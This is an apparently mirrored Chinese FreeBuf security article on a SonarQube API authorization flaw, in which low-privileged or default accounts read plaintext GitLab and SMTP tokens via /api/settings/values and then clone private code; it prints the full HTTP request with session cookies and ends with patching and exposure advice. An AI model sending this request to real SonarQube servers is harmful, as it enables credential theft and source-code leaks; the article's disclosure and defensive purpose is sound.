SonarQube API越权漏洞的思考
2021-11-08 11:27:41 Author: www.freebuf.com(查看原文) 阅读量:135 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SonarQube是一款基于Web的工具,是一个开源的代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。

如果您在开发一个小项目,那可能很容易,您可以仔细检查代码以发现任何问题。SonarQube属于SAST类的代码检测工具,更侧重于质量检查,也有一些针对性的安全检测,比如SQL注入等,我用过商业版,试图利用SAST来发现和解决代码安全问题,比较失望。规则库比较弱,自定义能力差,毕竟只是更专注于质量检查。

大背景

近期,境外网站又报道了一些涉及中国多个机构和企业的代码泄漏,就是利用SonarQube的这个API越权漏洞进行的。

(1)The Chinese Ministry of Public Security

(2) BOSCH 博世

(3) 梅赛德斯奔驰

SonarSource SonarQube由于存在安全漏洞,攻击者可利用该漏洞通过API设置值URI,发现明文的SMTP和GitLab凭证(tocken)等敏感信息泄露,可导致gitlab中项目的代码可以被任意clone下载,其实这个漏洞在2019年就被发现了。官方修复过一次,但是又出现了新的漏洞,并且一直延伸到7-8-9多个版本。

漏洞细节:

漏洞利用过程及证明:
     (1)敏感配置泄漏:
     以普通用户登陆就可以查看该AP I信息,如下:
    GET /api/settings/values HTTP/2
      Host: sonar.******.com
     Cookie:    experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6; XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e; JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGI
Sec-Ch-Ua: "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (KaliLinux; ARM) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/189.0.4389.90 Safari/637.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

官方进行过修复然后该接口应该只允许管理员可查看。
但是很多内置了默认账号和简单弱口令账号同样可查看。

  (2) 利用该user_token可以来从gitlab获取代码:

看,就是sonar.gitlab.user.token , 直接可以拉代码数据。

还能通过配置文件看到数据库账号密码等。非常久远的漏洞了。

看看如何利用sonar.gitlab.user.token 拉代码:

解决办法

关注厂商官方网站,即使升级补丁。

友情提醒

看看至少有多少暴露在公网:数量还是很惊人的,这么多假装在乎代码质量的用户,不在乎安全性个代码泄露。

SonarQube 不建议对公网开放,devops流程中如需要使用SAST请采用专业的工具,请弃用SonarQube。


文章来源: https://www.freebuf.com/vuls/303951.html
如有侵权请联系:admin#unsafe.sh